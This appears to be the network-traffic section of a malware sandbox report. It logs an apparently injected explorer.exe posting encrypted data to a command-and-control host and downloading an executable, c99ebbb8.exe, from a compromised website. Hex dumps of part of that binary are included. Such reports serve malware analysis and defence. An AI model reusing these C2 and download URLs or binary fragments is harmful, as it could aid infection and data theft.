Aug 31, 2022 08:33:54.550769091 CEST	9395	IN	Data Raw: e9 6b 53 07 00 e9 ce b9 06 00 e9 4e f7 03 00 e9 1a c5 09 00 e9 3b ad 06 00 e9 f1 5a 04 00 e9 1c 1d 01 00 e9 d7 c4 04 00 e9 93 97 06 00 e9 29 16 04 00 e9 c2 be 02 00 e9 0c c6 03 00 e9 4d 74 06 00 e9 39 e9 00 00 e9 08 c6 05 00 e9 5b 48 09 00 e9 38 Data Ascii: kSN;Z)Mt9[H8^j^<Ml<jRXV#/lR
Aug 31, 2022 08:33:54.550806999 CEST	9397	IN	Data Raw: 09 00 e9 9a b9 04 00 e9 b0 ed 03 00 e9 63 95 03 00 e9 78 9e 02 00 e9 c3 73 07 00 e9 d2 35 05 00 e9 c0 f8 00 00 e9 3e d1 09 00 e9 51 bd 03 00 e9 8a 53 05 00 e9 cb 05 09 00 e9 bc 22 02 00 e9 00 16 04 00 e9 a8 44 08 00 e9 9f 23 07 00 e9 38 7f 07 00 Data Ascii: cxs5>QS"D#8An \|fn4F7D=m%UU8V"xg
Aug 31, 2022 08:33:54.550827026 CEST	9398	IN	Data Raw: bd bc 03 00 e9 e7 e1 09 00 e9 20 11 08 00 e9 78 0c 06 00 e9 56 3b 05 00 e9 5e c2 00 00 e9 89 03 01 00 e9 ad 5b 07 00 e9 c2 0f 04 00 e9 79 27 02 00 e9 dc 78 07 00 e9 0b 92 04 00 e9 90 d3 07 00 e9 ff 3b 06 00 e9 c4 b3 06 00 e9 5c cc 05 00 e9 1f 36 Data Ascii: xV;^[y'x;\6RIQx]&H$E*s@~`Y5Xu&]
Aug 31, 2022 08:33:54.577847004 CEST	9399	IN	Data Raw: 00 e9 9d a8 02 00 e9 67 3d 05 00 e9 c5 cb 03 00 e9 97 c8 03 00 e9 eb b2 06 00 e9 39 f4 06 00 e9 29 9c 06 00 e9 8c 1b 02 00 e9 7f 55 05 00 e9 cd 53 07 00 e9 e9 d1 00 00 e9 80 cb 07 00 e9 18 ab 06 00 e9 ad 68 06 00 e9 b6 c8 02 00 e9 a4 76 02 00 e9 Data Ascii: g=9)UShv]{REeo4>+Cn=f wb_@J

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.3	49746	187.195.146.2	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 08:33:57.827657938 CEST	10402	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fwmkph.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 200 Host: linislominyt11.at
Aug 31, 2022 08:33:57.827737093 CEST	10402	OUT	Data Raw: 4a 9d 84 c9 4c 6e 55 23 5d 71 20 24 08 a1 5f b9 21 1b e5 65 f9 6e de aa c7 1b a6 f1 72 87 de 93 8c df 8f b5 04 39 e6 cb ab 5a 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a3 19 ba 8a 14 62 cc d6 4f 96 fd d9 19 d9 Data Ascii: JLnU#]q $_!enr9Zjp_S61oJf=B!bOcr(E^vs[KHAw]GMk:VxPml'5?}Mpui*}B'Q2Y
Aug 31, 2022 08:34:01.327778101 CEST	10403	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 06:34:01 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.3	49747	151.251.24.5	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2022 08:34:01.666435003 CEST	10404	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://plpnmw.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 205 Host: linislominyt11.at
Aug 31, 2022 08:34:01.666445971 CEST	10404	OUT	Data Raw: 4a 9d 84 c9 4c 6e 55 23 5d 71 20 24 08 a1 5f b9 21 1b e5 65 f9 6e de aa c7 1b a6 f1 72 87 de 93 8c df 8f b5 04 39 e6 cb ab 5a 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 bb 8a 14 62 cd d6 4f 96 e0 bb 4b b3 Data Ascii: JLnU#]q $_!enr9Zjp_S61oJf=B!bOKjyO1G-LnYK5c5GI:Rf4#T/#?T(DC=QPS/&l/VbR
Aug 31, 2022 08:34:01.916766882 CEST	10405	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 31 Aug 2022 06:34:01 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 1d 8f e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 69 c7 e1 65 70 58 f7 0c dc 08 0c c0 00 9b d0 03 91 30 e5 23 f9 a5 3d 0a 02 84 69 80 97 6b d6 c3 33 5f 92 b4 92 43 b2 b4 1b ce 5f cd b7 69 b4 0e 9e 04 5f 8e fb 3a d8 d8 c8 b0 8e 2c 25 e2 3e b3 e7 00 b7 56 64 aa a8 a5 f2 b7 b4 aa 40 09 fc 20 7f 23 90 40 e0 7e bd ba a1 69 78 ce e2 7d ee aa 31 20 74 cb a1 63 2e f0 71 d7 21 7d 21 5b b6 a3 fa cb 1f 9e 1d 09 52 2b e5 8d 83 7b 7e 45 f7 ff 28 c8 55 db 88 0c 14 13 31 4e ef f1 24 08 4f c5 03 a1 cb a1 81 7e dc f4 62 b8 17 37 7e 57 a4 9a a5 d0 ca a0 c1 b9 dd 7a 47 bf 4e 19 e0 3c 95 a9 18 3a fe 96 be 25 11 61 9a c4 3e 7c 88 2a c8 48 6d a1 c0 4a 9a 03 fd ec 98 aa 7b ac 87 2f bd 61 0d 30 53 bf 46 30 fd f8 9f e7 3d 6c 2b 7c 4a 0c c7 fd f4 0e a4 fb 7e 71 eb 80 e5 1a 68 8b 4a d8 19 ae cc 4f 2b 79 82 ae 9c 97 02 4c 75 56 ad f3 4b 79 24 b9 4e ee cc 23 b2 15 00 31 f4 97 90 f7 df f5 ec e7 72 2b 4c 80 d0 94 f7 13 03 44 bb d6 af 41 32 27 20 0b b7 9f 43 00 c0 46 e1 48 15 ac af eb d9 55 3d af ba 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 66 e7 ac 04 a0 4c 4e 40 37 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 70 1c 51 90 72 17 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 4e a1 54 55 a5 8e b7 1b 6f c3 cb 29 1c 5c 82 23 6a 54 ab 1e 9f 7a 1a ee c3 de 57 a3 4c 15 8e 1f d4 58 68 91 9c 29 06 f1 2c 5e ae 03 5b e5 1f e4 86 7d 10 ff 3e cb bd d1 ed 66 99 8a 59 d7 7d 74 79 70 66 43 cc 8d 89 8b e1 6e 71 d7 9c 88 c3 e0 2b a9 b4 bb 01 7a 17 28 92 ae 46 5f fe c5 cb 0e ee f6 6b e3 05 07 d9 37 00 e0 ee 1c c9 9e f5 52 48 84 37 96 4d cb e7 17 3f dc e5 7e 4d a6 70 d4 43 eb ac 58 58 07 6b ab f6 ae 25 2e b2 9b ce ec 35 d8 cd a7 0d a6 ca d4 5f d7 4e 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 81 c4 a1 73 0b 4d ea ca a5 8f c8 2f c5 e3 09 e8 8b 73 10 ac 18 ba 77 b3 0e 9f 8f 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 53 e8 b8 0c 6b 93 83 01 ee 43 d9 ed 8a b7 52 dc 1a fe 85 18 57 27 01 7d 42 0d 8f 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 33 0f b6 25 8c 57 7a 14 0f 5b 30 5f 7a d6 b8 78 fe c1 80 98 6d 6a 5e 32 d0 fd fd 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 11 20 b2 7f db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a7 90 4e b0 d4 08 d9 4e 2f 18 4b 74 f8 4f b5 24 74 05 f6 6c 1d bf 9d 69 13 23 92 37 88 32 78 7e 66 0b 1b b9 fb 35 51 ed 00 e4 26 0d 72 d7 a2 65 3f 3f 1c f9 e1 f7 66 08 60 f4 ce 89 ca 3b d4 85 08 c7 18 47 64 00 2d ed 07 fc ae 1c 0b 30 63 3d cd e4 e7 bb ff 2a 14 49 3c 79 cd 8c 10 ea 67 10 97 e9 e8 fe 24 eb d4 07 3f cf 1a 81 01 1f 44 e1 03 44 7c c9 88 34 c8 dd 40 e3 c9 04 3d 60 92 f0 ac 13 e8 41 f7 27 10 9b 83 1b f2 ae 0d 41 0b fc d8 4e 0d ef 40 c1 86 73 b7 c5 05 68 c9 84 e4 56 1f 03 ac fa 5b f8 9f 5e ba 0a c0 f9 76 93 68 23 c0 dd 7c 28 59 db 8d 6e 56 73 97 e4 e1 9c fe 6c ff 61 cd 3b c7 69 77 e0 78 2e c7 ac 08 a2 43 cd 27 2f 9d cf 95 68 98 a2 1c 9a c9 ba e6 1c 29 c7 8a 3a f4 3d 02 2a 90 93 27 8d 3d 06 32 22 8c Data Ascii: `@0,xO}q4 IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShGiepX0#=ik3_C_i_:,%>Vd@ #@~ix}1 tc.q!}![R+{~E(U1N$O~b7~WzGN<:%a>\|HmJ{/a0SF0=l+\|J~qhJO+yLuVKy$N#1r+LDA2' CFHU=hU@Wd{9fLN@7=fdpQrKk^NTUo)\#jTzWLXh),^[}>fY}typfCnq+z(F_k7RH7M?~MpCXXk%.5_NCUb:@sM/swRSkCRW'}B.'<BV`3%Wz[0_zxmj^22B9G TZ\Z_i9nX%Sr^3m~CvbE.`:2nJeig:X]y7gT$:jqw'eSUHc6Zkvbi2NN/KtO$tli#72x~f5Q&re??f`;Gd-0c=I<yg$?DD\|4@=`A'AN@shV[^vh#\|(YnVsla;iwx.C'/h):=*'=2"
Aug 31, 2022 08:34:01.916940928 CEST	10407	IN	Data Raw: f5 f8 5c 7f 5c 9a b2 5a f2 40 41 02 c0 38 10 37 67 01 ca 81 41 91 9e 8a 44 32 29 77 9d c2 db 35 5c c5 20 4d 74 0f 69 27 63 86 b8 91 5e 84 39 b3 70 c0 89 70 29 e9 1d 9a db 20 b1 48 13 75 c4 ec a1 f3 3e 47 bb 77 84 31 df d0 97 c8 1f aa 5e 3f 43 2c Data Ascii: \\Z@A87gAD2)w5\ Mti'c^9pp) Hu>Gw1^?C,0,oungH$IO9u!\0x(Y{:]'P!C@^7/bE15'FlbcM[S!4P<E>\|11nd@t&WwH<QX8U
Aug 31, 2022 08:34:01.976816893 CEST	10408	IN	Data Raw: 06 b2 2a 11 3e 29 9d bc b4 88 dd 8b 6d f0 b8 49 02 a2 9f bc ae 36 0f aa 14 88 ce 38 4a 47 da 6e 53 24 70 25 2f 60 cb e4 ce 98 36 2f f2 49 9d da ed 8a 32 8d 37 cd 4e f2 d5 27 25 f3 61 77 32 70 c9 72 d2 48 00 47 26 6f 23 09 fa df 31 c6 bf c7 2b a6 Data Ascii: >)mI68JGnS$p%/`6/I27N'%aw2prHG&o#1+zH4hi5;Y\CtX+s5Ty. :0z;N:;R25NMwqgM7p0s?z'U4?%[?=+5ZYYIl,;$Cn$aF+
Aug 31, 2022 08:34:01.980748892 CEST	10409	IN	Data Raw: fe d3 19 76 10 b9 db 7a a5 dc e9 80 e1 3f 15 8a 3d 49 6b cc 2e d9 5e 36 36 b7 0b 3a 62 4b 3b 1c fb d5 af d8 76 77 25 fc b2 3e 52 48 4f ff d0 85 d5 b6 09 7e 83 02 ea c4 2b f8 4c 9e 5e 6d 8b 78 be bf 6b a3 42 e8 5d 70 7b 66 87 94 5b 07 8a 80 ec 63 Data Ascii: vz?=Ik.^66:bK;vw%>RHO~+L^mxkB]p{f[c :@pZ5FMT !<[WW."vPiHoAyYG4H`-9MW(7e2T]Ydr<W 6h5-,\y2Cpe:$S"*:+zzGXZ_uDTyv_
Aug 31, 2022 08:34:01.981103897 CEST	10411	IN	Data Raw: 7a c7 c6 66 89 49 ef cf 07 61 28 1d ae f9 ef 5d 5b 73 13 af 0f 41 5a f1 34 d2 40 63 89 5e b2 ad 53 c2 6d b0 b8 ec 11 73 84 03 32 dc 68 f0 2a d4 37 e1 c0 66 d7 b8 5e 0c 37 6f d5 4e 32 2c 6a 40 4a 9f 1e 57 52 16 e0 dd 7f a1 9b 83 37 ff 39 bd 01 e4 Data Ascii: zfIa(][sAZ4@c^Sms2h*7f^7oN2,j@JWR79+xf:74o~dXcdxxG0.v)Mez=XZ?rDAI5oh@>;eK}#$)pX"\| L^dnm\LwCu:d-P?
Aug 31, 2022 08:34:01.981276035 CEST	10412	IN	Data Raw: 42 eb c4 98 be 10 0c 83 7d b8 d2 c1 d1 56 9e ce ef cc 48 b2 9f 73 74 f4 01 31 7d e7 21 40 90 27 88 fe a7 4b b7 0c 50 98 ee 0c e8 d1 5e 99 3b 3c 58 81 88 89 eb 02 ec bc 9f 66 70 53 c6 4c f3 b0 40 c1 e3 05 95 87 b7 64 fe b4 f3 35 c7 36 06 de 79 c8 Data Ascii: B}VHst1}!@'KP^;<XfpSL@d56yA{>j=2<$A@}h'S-&YgJFQ;-Tvrxw~A[Ezi3Q$W_LIAfq#MV}Q[*i/)vVIfc
Aug 31, 2022 08:34:02.042869091 CEST	10414	IN	Data Raw: 18 fd 7b 13 4c 8e be 6e 0c e7 a6 1f ea 14 38 d9 a2 d4 d8 84 e6 67 34 20 c6 fb 9e 18 c7 2a 68 77 7b 71 85 72 d1 22 e8 dc 93 53 f2 ec 0e 18 98 9c f6 96 66 3b aa ac 19 72 70 c5 15 d4 cb 27 49 76 5d 94 ef a6 7c 83 51 26 66 5a ed f1 df b4 83 27 68 11 Data Ascii: {Ln8g4 hw{qr"Sf;rp'Iv]\|Q&fZ'h>GWysexP8J<FxNFra]=s`(4j="+&r&Z>m`.$-#HHhM(5IJU>@"^Mq
Aug 31, 2022 08:34:02.042905092 CEST	10415	IN	Data Raw: 98 25 8f 7b de 95 f2 da 06 3e 40 a4 63 87 27 85 de 93 15 a1 02 bc cc e5 9f ab d9 82 93 7f ef f1 a0 90 17 ad 52 92 7c af e9 0d f0 fa 8d b6 7e bb 52 a0 5b 1f ec f8 45 5d 4f a2 06 0e dd 54 83 68 31 38 b1 09 bf 35 9c c1 fb 20 d3 88 89 6a 5e 1f df 31 Data Ascii: %{>@c'R\|~R[E]OTh185 j^1p8vPyWX!'N{&P{x{zoSo:DX7X$WNMQp'qA_aRb\pt+>8#q_[)O%lVj.Vb
Aug 31, 2022 08:34:02.046746969 CEST	10416	IN	Data Raw: 3c 04 8f 1c b5 81 0a 7f 6a 33 bd bd 06 d8 81 40 e6 72 5e ae a4 70 41 35 bf e2 3c 33 36 db 1e cc 2b 8e 17 08 27 69 5b 7a f4 bf 85 a1 98 58 5f 17 66 77 f3 27 47 8f fb 1e 53 a4 3c 8f c9 88 30 0c 5d c9 fd bc 9b 3c 3f 7d db dc 9c 88 d4 35 1e e2 ad 9e Data Ascii: <j3@r^pA5<36+'i[zX_fw'GS<0]<?}5X$=HAi-Z\mE3_E+#U2F*f{:l$]@`Lng 9:`7Jej2m"bo\|V
Aug 31, 2022 08:34:02.047143936 CEST	10417	IN	Data Raw: fb 03 6f 4e 75 4c 62 2b 37 96 ae 30 36 2a c5 88 1b fd ea 06 e3 1a 39 c4 1a f2 c6 54 e7 ee a2 34 97 9a 6c 91 4d 54 c3 83 4a cb 24 bb 88 4e 27 e0 dd 96 b7 51 e6 af a9 77 80 95 27 1b 6c 44 0c c3 59 1a df fc bf bb 97 a2 a7 38 a2 74 31 c4 1d 8a 24 2d Data Ascii: oNuLb+7069T4lMTJ$N'Qw'lDY8t1$-y9 u7qV&5##.M5#2@<FB/!JcaTLiYm:4B@mD2xB!}i.WlNfZ,A^E
Aug 31, 2022 08:34:02.047461033 CEST	10419	IN	Data Raw: 82 2f d0 0f 78 4a 9f 5e 06 a4 78 c0 e2 4f 18 88 ab 51 82 11 d9 56 f1 b6 e4 f0 b2 5e c5 40 c7 78 4f 95 91 57 27 0f 8d 12 54 69 e3 ac 9d b8 e3 ce 1f 69 32 bc e8 8d 11 f2 c2 78 28 81 24 4f 96 fa b9 82 65 07 13 a9 be ca f7 ea ba 6c 94 34 a5 3f c8 24 Data Ascii: /xJ^xOQV^@xOW'Tii2x($Oel4?$Imr19Tj{EKA!x1;f-g`ZdQ;-lAOIe\|mtPcEZ]fbA\|J\0[7~\E}VKYgW

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49755	206.221.182.74	443	C:\Windows\explorer.exe

Timestamp	Direction	Data
2022-08-31 06:34:18 UTC	OUT	GET /upload/index.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: amrhomedecor.com
2022-08-31 06:34:19 UTC	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Type: text/html Content-Length: 707 Date: Wed, 31 Aug 2022 06:34:19 GMT Server: LiteSpeed Location: https://www.amrhomedecor.com/upload/index.php Alt-Svc: quic=":443"; ma=2592000; v="43,46", h3-Q043=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-25=":443"; ma=2592000, h3-27=":443"; ma=2592000
2022-08-31 06:34:19 UTC	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helv

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49756	206.221.182.74	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 06:34:19 UTC	1	OUT	GET /upload/index.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: www.amrhomedecor.com
2022-08-31 06:34:19 UTC	1	IN	HTTP/1.1 200 OK Connection: close Content-Description: File Transfer Content-Type: application/octet-stream Content-Disposition: attachment; filename=c99ebbb8.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Transfer-Encoding: chunked Date: Wed, 31 Aug 2022 06:34:19 GMT Server: LiteSpeed Alt-Svc: quic=":443"; ma=2592000; v="43,46", h3-Q043=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-25=":443"; ma=2592000, h3-27=":443"; ma=2592000
2022-08-31 06:34:19 UTC	1	IN	Data Raw: 31 30 30 30 30 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 51 e2 8e 49 15 83 e0 1a 15 83 e0 1a 15 83 e0 1a 0b d1 75 1a 02 83 e0 1a 0b d1 63 1a 9d 83 e0 1a 32 45 9b 1a 12 83 e0 1a 15 83 e1 1a a1 83 e0 1a 0b d1 64 1a 28 83 e0 1a 0b d1 74 1a 14 83 e0 1a 0b d1 71 1a 14 83 e0 1a 52 69 63 68 15 83 e0 1a 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 e9 30 e5 60 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 14 03 00 Data Ascii: 10000MZ@!L!This program cannot be run in DOS mode.$QIuc2Ed(tqRichPEL0`
2022-08-31 06:34:19 UTC	2	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 1e 03 00 00 00 00 00 08 1e 03 00 f8 1d 03 00 d8 1d 03 00 e8 1d 03 00 00 00 00 00 5e 17 03 00 70 17 03 00 7c 17 03 00 96 17 03 00 a6 17 03 00 bc 17 03 00 cc 17 03 00 e2 17 03 00 f6 17 Data Ascii: $^p\|
2022-08-31 06:34:19 UTC	17	IN	Data Raw: 08 00 00 07 00 08 08 08 00 00 08 00 08 00 07 08 00 00 00 66 3a 5c 64 64 5c 76 63 74 6f 6f 6c 73 5c 63 72 74 5f 62 6c 64 5c 73 65 6c 66 5f 78 38 36 5c 63 72 74 5c 73 72 63 5c 6f 75 74 70 75 74 2e 63 00 00 00 00 00 28 00 22 00 27 00 6e 00 27 00 20 00 66 00 6f 00 72 00 6d 00 61 00 74 00 20 00 73 00 70 00 65 00 63 00 69 00 66 00 69 00 65 00 72 00 20 00 64 00 69 00 73 00 61 00 62 00 6c 00 65 00 64 00 22 00 2c 00 20 00 30 00 29 00 00 00 00 00 28 00 63 00 68 00 20 00 21 00 3d 00 20 00 5f 00 54 00 28 00 27 00 5c 00 30 00 27 00 29 00 29 00 00 00 00 00 5f 00 6f 00 75 00 74 00 70 00 75 00 74 00 5f 00 6c 00 00 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f 00 6c 00 73 00 5c 00 63 00 72 00 74 00 5f 00 62 00 6c 00 64 00 5c 00 73 00 65 00 Data Ascii: f:\dd\vctools\crt_bld\self_x86\crt\src\output.c("'n' format specifier disabled", 0)(ch != _T('\0'))_output_lf:\dd\vctools\crt_bld\se
2022-08-31 06:34:19 UTC	33	IN	Data Raw: 20 49 66 20 74 68 69 73 20 77 61 73 20 69 6e 74 65 6e 74 69 6f 6e 61 6c 2c 20 79 6f 75 20 73 68 6f 75 6c 64 20 6d 61 73 6b 20 74 68 65 20 73 6f 75 72 63 65 20 6f 66 20 74 68 65 20 63 61 73 74 20 77 69 74 68 20 74 68 65 20 61 70 70 72 6f 70 72 69 61 74 65 20 62 69 74 6d 61 73 6b 2e 20 20 46 6f 72 20 65 78 61 6d 70 6c 65 3a 20 20 0a 0d 09 63 68 61 72 20 63 20 3d 20 28 69 20 26 20 30 78 46 46 29 3b 0a 0d 43 68 61 6e 67 69 6e 67 20 74 68 65 20 63 6f 64 65 20 69 6e 20 74 68 69 73 20 77 61 79 20 77 69 6c 6c 20 6e 6f 74 20 61 66 66 65 63 74 20 74 68 65 20 71 75 61 6c 69 74 79 20 6f 66 20 74 68 65 20 72 65 73 75 6c 74 69 6e 67 20 6f 70 74 69 6d 69 7a 65 64 20 63 6f 64 65 2e 0a 0d 00 00 00 00 54 68 65 20 76 61 6c 75 65 20 6f 66 20 45 53 50 20 77 61 73 20 6e 6f 74 Data Ascii: If this was intentional, you should mask the source of the cast with the appropriate bitmask. For example: char c = (i & 0xFF);Changing the code in this way will not affect the quality of the resulting optimized code.The value of ESP was not
2022-08-31 06:34:19 UTC	49	IN	Data Raw: 8b 45 e4 8b 48 14 81 e1 ff ff 00 00 83 f9 02 74 09 8b 55 e4 83 7a 14 03 75 18 8b 45 e4 8b 48 14 81 e1 ff ff 00 00 8b 14 8d 94 1a 40 00 89 55 d4 eb 07 c7 45 d4 90 25 40 00 6a 04 0f b6 05 04 5b 44 00 50 8b 4d e4 83 c1 1c 51 e8 d0 fd ff ff 83 c4 0c 85 c0 75 7a 8b 55 e4 83 7a 08 00 74 3d 8b 45 e4 8b 48 0c 51 8b 55 e4 8b 42 08 50 8b 4d e4 83 c1 20 51 8b 55 e4 8b 42 18 50 8b 4d d4 51 68 c8 22 40 00 6a 00 6a 00 6a 00 6a 00 e8 ee cd 00 00 83 c4 28 83 f8 01 75 01 cc eb 2d 8b 45 e4 83 c0 20 50 8b 4d e4 8b 51 18 52 8b 45 d4 50 68 38 22 40 00 6a 00 6a 00 6a 00 6a 00 e8 bf cd 00 00 83 c4 20 83 f8 01 75 01 cc c7 45 d8 00 00 00 00 6a 04 0f b6 15 04 5b 44 00 52 8b 45 e4 8b 48 10 8b 55 e4 8d 44 0a 20 50 e8 32 fd ff ff 83 c4 0c 85 c0 75 7a 8b 4d e4 83 79 08 00 74 3d 8b 55 Data Ascii: EHtUzuEH@UE%@j[DPMQuzUzt=EHQUBPM QUBPMQh"@jjjj(u-E 